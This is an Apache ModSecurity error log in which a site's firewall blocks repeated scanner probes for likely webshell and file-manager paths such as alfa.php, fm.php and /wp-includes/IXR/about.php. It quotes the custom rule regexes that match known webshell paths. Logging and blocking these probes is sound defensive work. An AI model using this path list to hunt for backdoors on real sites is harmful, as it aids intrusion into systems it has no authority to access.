[Mon Apr 06 18:44:23.118747 2026] [:error] [pid 35687:tid 35748] [client 51.103.121.89:46538] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOh53LtDozV0i8BitaFQAAAFg"]
[Mon Apr 06 18:44:24.029131 2026] [:error] [pid 9413:tid 9415] [client 51.103.121.89:46476] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOiHllvEK3chn01wG2jwAAAYA"]
[Mon Apr 06 18:44:24.717484 2026] [:error] [pid 9413:tid 9418] [client 172.213.138.9:36701] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOiHllvEK3chn01wG2kgAAAYM"]
[Mon Apr 06 18:44:24.736361 2026] [:error] [pid 9442:tid 9450] [client 51.103.121.89:41528] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOiEPsNnAJTnmz6saAsgAAAQY"]
[Mon Apr 06 18:44:25.291116 2026] [:error] [pid 9442:tid 9459] [client 51.103.121.89:35363] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOiUPsNnAJTnmz6saAtQAAAQ8"]
[Mon Apr 06 18:44:26.071128 2026] [:error] [pid 35686:tid 35720] [client 51.103.121.89:33534] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOisMKdea6oORd2fzDBgAAABg"]
[Mon Apr 06 18:44:26.259838 2026] [:error] [pid 9442:tid 9449] [client 172.213.138.9:53919] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOikPsNnAJTnmz6saAuwAAAQU"]
[Mon Apr 06 18:44:27.074914 2026] [:error] [pid 10280:tid 10297] [client 51.103.121.89:46502] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOi18QUJkf8g-BFfPKGwAAAc4"]
[Mon Apr 06 18:44:27.375668 2026] [:error] [pid 38562:tid 38584] [client 172.213.138.9:36716] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOi6eD6Ohe6wzRuy5l-wAAAVM"]
[Mon Apr 06 18:44:28.803057 2026] [:error] [pid 10280:tid 10286] [client 172.213.138.9:35375] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOjF8QUJkf8g-BFfPKHAAAAcM"]
[Mon Apr 06 18:44:29.778345 2026] [:error] [pid 1827:tid 1831] [client 172.213.138.9:53527] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOjeVeb6S_DnjZ2xH3SgAAAgI"]
[Mon Apr 06 18:44:30.130781 2026] [:error] [pid 9413:tid 9417] [client 51.103.121.89:41483] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOjnllvEK3chn01wG2lwAAAYI"]
[Mon Apr 06 18:44:31.450809 2026] [:error] [pid 35686:tid 35698] [client 172.213.138.9:50074] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOj8MKdea6oORd2fzDEwAAAAI"]
[Mon Apr 06 18:44:32.610351 2026] [:error] [pid 10280:tid 10286] [client 172.213.138.9:6060] [client 172.213.138.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "adOOkF8QUJkf8g-BFfPKJAAAAcM"]
[Mon Apr 06 18:44:32.690431 2026] [:error] [pid 10280:tid 10302] [client 51.103.121.89:47085] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOkF8QUJkf8g-BFfPKJwAAAdM"]
[Mon Apr 06 18:44:33.728026 2026] [:error] [pid 38562:tid 38582] [client 172.213.138.9:45239] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOkaeD6Ohe6wzRuy5mAwAAAVE"]
[Mon Apr 06 18:44:34.529369 2026] [:error] [pid 10280:tid 10290] [client 172.213.138.9:43704] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOkl8QUJkf8g-BFfPKMwAAAcc"]
[Mon Apr 06 18:44:36.102059 2026] [:error] [pid 10280:tid 10290] [client 172.213.138.9:50242] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOlF8QUJkf8g-BFfPKPAAAAcc"]
[Mon Apr 06 18:44:38.043716 2026] [:error] [pid 35687:tid 35748] [client 172.213.138.9:35344] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOlp3LtDozV0i8BitaJgAAAFg"]
[Mon Apr 06 18:44:38.430950 2026] [:error] [pid 35687:tid 35742] [client 51.103.121.89:5942] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOlp3LtDozV0i8BitaKAAAAFM"]
[Mon Apr 06 18:44:41.726633 2026] [:error] [pid 35688:tid 35762] [client 172.213.138.9:41639] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOmeZ85qg4jLsRpQxtogAAAIw"]
[Mon Apr 06 18:44:42.459991 2026] [:error] [pid 38562:tid 38571] [client 51.103.121.89:47285] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOmqeD6Ohe6wzRuy5mCwAAAUY"]
[Mon Apr 06 18:44:43.111120 2026] [:error] [pid 9413:tid 9419] [client 172.213.138.9:43662] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOm3llvEK3chn01wG2mwAAAYQ"]
[Mon Apr 06 18:44:43.933922 2026] [:error] [pid 38562:tid 38584] [client 172.213.138.9:43680] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOm6eD6Ohe6wzRuy5mDwAAAVM"]
[Mon Apr 06 18:44:44.476991 2026] [:error] [pid 38562:tid 38569] [client 51.103.121.89:6101] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "adOOnKeD6Ohe6wzRuy5mEgAAAUQ"]
[Mon Apr 06 18:44:45.315683 2026] [:error] [pid 35687:tid 35729] [client 172.213.138.9:44684] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOnZ3LtDozV0i8BitaKwAAAEY"]
[Mon Apr 06 18:44:45.912275 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:35367] [client 51.103.121.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "adOOnUPsNnAJTnmz6saA1QAAAQ4"]
[Mon Apr 06 18:44:46.753247 2026] [:error] [pid 9442:tid 9466] [client 172.213.138.9:50280] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOnkPsNnAJTnmz6saA2QAAARY"]
[Mon Apr 06 18:44:48.708502 2026] [:error] [pid 35786:tid 35813] [client 172.213.138.9:45191] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOoGgkfCKTaLhwaKQRTQAAANQ"]
[Mon Apr 06 18:44:49.915385 2026] [:error] [pid 35686:tid 35707] [client 51.103.121.89:46527] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOocMKdea6oORd2fzDIwAAAAs"]
[Mon Apr 06 18:44:50.409666 2026] [:error] [pid 38562:tid 38584] [client 172.213.138.9:50096] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOoqeD6Ohe6wzRuy5mGQAAAVM"]
[Mon Apr 06 18:44:50.457602 2026] [:error] [pid 38562:tid 38573] [client 51.103.121.89:6132] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOoqeD6Ohe6wzRuy5mGgAAAUg"]
[Mon Apr 06 18:44:51.455719 2026] [:error] [pid 9442:tid 9468] [client 51.103.121.89:47235] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOo0PsNnAJTnmz6saA7AAAARg"]
[Mon Apr 06 18:44:52.371953 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:5889] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adOOpEPsNnAJTnmz6saA8gAAAQ4"]
[Mon Apr 06 18:44:54.083117 2026] [:error] [pid 35688:tid 35769] [client 51.103.121.89:35358] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOpuZ85qg4jLsRpQxtrAAAAJM"]
[Mon Apr 06 18:44:54.811303 2026] [:error] [pid 38562:tid 38577] [client 51.103.121.89:33490] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOpqeD6Ohe6wzRuy5mIwAAAUw"]
[Mon Apr 06 18:44:55.985705 2026] [:error] [pid 9442:tid 9458] [client 172.213.138.9:45204] [client 172.213.138.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "adOOp0PsNnAJTnmz6saA-AAAAQ4"]
[Mon Apr 06 18:44:56.019663 2026] [:error] [pid 10280:tid 10303] [client 51.103.121.89:46481] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOqF8QUJkf8g-BFfPKcAAAAdQ"]
[Mon Apr 06 18:44:59.867593 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:33438] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "adOOq0PsNnAJTnmz6saA_wAAAQ4"]
[Mon Apr 06 18:45:01.604003 2026] [:error] [pid 35686:tid 35713] [client 51.103.121.89:47091] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOrcMKdea6oORd2fzDMAAAABE"]
[Mon Apr 06 18:45:03.231625 2026] [:error] [pid 38562:tid 38578] [client 51.103.121.89:44997] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOr6eD6Ohe6wzRuy5mPAAAAU0"]
[Mon Apr 06 18:45:04.068022 2026] [:error] [pid 35688:tid 35758] [client 51.103.121.89:44271] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOsOZ85qg4jLsRpQxtyQAAAIg"]
[Mon Apr 06 18:45:04.862024 2026] [:error] [pid 10280:tid 10298] [client 51.103.121.89:38539] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "adOOsF8QUJkf8g-BFfPKiwAAAc8"]
[Mon Apr 06 18:45:05.894268 2026] [:error] [pid 35688:tid 35767] [client 51.103.121.89:38543] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOOseZ85qg4jLsRpQxt0QAAAJE"]
[Mon Apr 06 18:45:07.325658 2026] [:error] [pid 10280:tid 10293] [client 51.103.121.89:5248] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOOs18QUJkf8g-BFfPKmAAAAco"]
[Mon Apr 06 18:45:08.424345 2026] [:error] [pid 35688:tid 35769] [client 51.103.121.89:36430] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOOtOZ85qg4jLsRpQxt2QAAAJM"]
[Mon Apr 06 18:45:09.745544 2026] [:error] [pid 35688:tid 35760] [client 51.103.121.89:34412] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOOteZ85qg4jLsRpQxt3wAAAIo"]
[Mon Apr 06 18:45:12.697110 2026] [:error] [pid 10280:tid 10304] [client 51.103.121.89:47323] [client 51.103.121.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "adOOuF8QUJkf8g-BFfPKpwAAAdU"]
[Mon Apr 06 18:45:14.442262 2026] [:error] [pid 38562:tid 38571] [client 51.103.121.89:43230] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOOuqeD6Ohe6wzRuy5mUgAAAUY"]
[Mon Apr 06 18:45:14.568313 2026] [:error] [pid 10280:tid 10303] [client 172.213.138.9:35384] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOOul8QUJkf8g-BFfPKqwAAAdQ"]
[Mon Apr 06 18:45:15.603007 2026] [:error] [pid 10280:tid 10296] [client 51.120.80.210:34582] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adOOu18QUJkf8g-BFfPKrAAAAc0"]
[Mon Apr 06 18:45:15.738799 2026] [:error] [pid 35687:tid 35741] [client 51.103.121.89:44470] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOOu53LtDozV0i8BitaNwAAAFI"]
[Mon Apr 06 18:45:15.863429 2026] [:error] [pid 9442:tid 9465] [client 172.213.138.9:38970] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOOu0PsNnAJTnmz6saBFgAAARU"]
[Mon Apr 06 18:45:16.439431 2026] [:error] [pid 1827:tid 1837] [client 51.103.121.89:35877] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOOvOVeb6S_DnjZ2xH3cwAAAgg"]
[Mon Apr 06 18:45:17.325877 2026] [:error] [pid 35786:tid 35798] [client 51.103.121.89:49058] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOOvWgkfCKTaLhwaKQRXQAAAMU"]
